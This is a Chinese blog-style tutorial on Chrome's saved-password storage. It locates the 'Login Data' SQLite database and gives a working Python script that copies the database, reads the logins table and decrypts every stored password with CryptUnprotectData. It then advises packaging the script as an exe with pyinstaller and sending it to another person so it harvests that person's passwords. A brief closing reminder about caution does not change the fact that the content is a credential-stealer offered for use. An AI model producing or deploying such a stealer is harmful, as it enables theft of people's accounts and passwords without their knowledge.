前言 本文的文字及圖片來源於網路,僅供學習、交流使用,不具有任何商業用途,版權歸原作者所有,如有問題請及時聯繫我們以作處理。 現如今瀏覽器可謂是五花八門,火狐、UC、360、QQ 這些瀏覽器不論美觀還是所謂的安全方面都做的很符合我們需求。但如果你的工作與 IT 掛鉤,無疑 Chrome 將是很多朋友 ...
前言
本文的文字及圖片來源於網路,僅供學習、交流使用,不具有任何商業用途,版權歸原作者所有,如有問題請及時聯繫我們以作處理。
現如今瀏覽器可謂是五花八門,火狐、UC、360、QQ 這些瀏覽器不論美觀還是所謂的安全方面都做的很符合我們需求。但如果你的工作與 IT 掛鉤,無疑 Chrome 將是很多朋友的首選。當然這篇文章並不是要介紹 Chrome 瀏覽器的使用,首先我要講的是 Chrome 瀏覽器的密碼存儲機制。
1.查看 Chrome 存儲的密碼表單
點擊 Chrome 瀏覽器右上角,進入設置->高級->管理密碼(根據瀏覽器版本不同,可能存在部分差異),亦或者在 Chrome 瀏覽器中輸入 **chrome://settings/passwords** 你會看到很多已保存過的密碼表單信息,當然如果你要查看密碼詳情,就要輸入電腦的系統管理員密碼,看到這裡是不是覺得很簡單?但如果我們能像電影里的黑客一樣瞬間拿到其他電腦的密碼豈不是更有趣?
2 . SQLite 在哪,又該怎麼查詢?
那麼, Chrome 的密碼是以什麼方式進行存儲的呢?答案就是用 “SQLite” 。首先,進入我的電腦,地址欄中輸入以下代碼,進入 app 的數據存儲路徑:
C:\Users\Administrator\AppData\Local
之後進入 chrome 瀏覽器的密碼資料庫統一地址為:
Google\Chrome\User Data\Default\Login Data
3.查看 Chrome 瀏覽器存儲的密碼
拿到了 SQLite 資料庫文件,我們隨便找個 sqlite 工具,就能打開這個資料庫了!
打開資料庫,我們看到有三張表:logins 、meta、 stats,其中 logins 中就存儲著你保存的網址、用戶名、密碼數據,分別是: signon_realm,username_value,password_value,但問題來了 password_value 的欄位看著是空的,因為那裡被加密了。
CryptUnprotectData 數據可以在 win32crypt 中找到,要使用該模塊,需要以下代碼進行安裝:
pip install pywin32
4.準備工作做好後,就開始代碼環節吧~
import os import shutil import sqlite3 import win32crypt db_file_path = os.path.join(os.environ['LOCALAPPDATA'], r'Google\Chrome\User Data\Default\Login Data') tmp_file = os.path.join(os.environ['LOCALAPPDATA'], 'sqlite_file') print(tmp_file) if os.path.exists(tmp_file): os.remove(tmp_file) shutil.copyfile(db_file_path, tmp_file) conn = sqlite3.connect(tmp_file) for row in conn.execute('select signon_realm,username_value,password_value from logins'): ret = win32crypt.CryptUnprotectData(row[2], None, None, N one, 0) print('網站:%-50s,用戶名:%-20s,密碼:%s' % (row[0][:50], row[1], ret[1].decode('gbk'))) conn.close() os.remove(tmp_file)
通過解密,我們獲取到了 Chrome 瀏覽器保存的用戶名密碼,然後保存至文本。
之後我們只需要使用 **pyinstaller -F xxx.py** ,將代碼打包成 exe 發給對方,就可以在他的電腦上獲取密碼了!雖然這個偽黑客很簡單甚至有些雞肋,但往往在一些事情上就是因為自身的大意而導致數據的泄露,在這裡也要加強自身保密意識!Chrome 瀏覽器保存密碼雖然很爽,但記在腦子裡還是最安全喲